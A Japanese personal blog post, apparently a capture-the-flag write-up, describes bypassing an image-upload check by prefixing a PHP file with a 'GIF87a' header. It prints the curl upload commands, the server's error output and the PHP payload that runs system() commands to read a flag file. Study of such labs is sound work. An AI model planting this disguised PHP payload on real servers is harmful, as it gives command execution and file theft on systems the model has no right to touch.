たくろぐ!

世界一のチラ裏

ファイルアップロード攻撃してflagを奪取しました

結論

以下のスクリプト通りにファイル冒頭にgifファイルですよっていう宣言をしてphpファイルをあたかもgifと偽装して拡張子バリデーションをスキップさせる。

soji256.hatenablog.jp

あとはphpファイル内部で書いたシステム(OS)コマンドを実行し、その結果をブラウザで見る。

実行結果をファイルに書き出してscp、sftpとかしたい人生だった。

参考にした

curlでのファイルアップロードスクリプト

into.cocolog-nifty.com

medium.com

blog.hamayanhamayan.com

Python実行環境のサーバ

graneed.hatenablog.com

やっていき

雑になげやリクエスト。

$ curl -F 'img_avatar=@get_flag.php' https://うーあーるえう
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1146    0   786  100   360   1393    638 --:--:-- --:--:-- --:--:--  2031<br />
<b>Warning</b>:  Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>5</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>5</b><br />
<br />
<b>Warning</b>:  Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>10</b><br />
<br />
<b>Fatal error</b>:  Uncaught ValueError: Path cannot be empty in /var/www/html/core.php:10
Stack trace:
#0 /var/www/html/core.php(10): getimagesize('')
#1 /var/www/html/index.php(2): require_once('/var/www/html/c...')
#2 {main}
  thrown in <b>/var/www/html/core.php</b> on line <b>10</b><br />

core.phpの5行目でavatarっていう名前のファイルがねーよって怒られている気がする。

stackoverflow.com

ファイル名をavatarにして再度雑にリクエスト投げ。

$ curl -F "avatar=@get_flag.php" https://うーあーるえう/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   286  100    28  100   258     23    219  0:00:01  0:00:01 --:--:--   243get_flag.php is not an image

イメージファイルじゃねーよって怒られた気がするのでgifに偽装してリクエスト。

$ cat get_flag.php
GIF87a
<?php
system('echo "=================================="');
system('/bin/cat /var/www/flag.txt');
system('echo "=================================="');
//system('ls -la /very_long_directory_path/');
//system('echo "=================================="');
//var_dump( exec('ls', $out, $ret) );
//print_r( $out );
//var_dump( $ret );
//system('echo "=================================="');
?>

いけた。

f:id:takkuso:20210417151733p:plain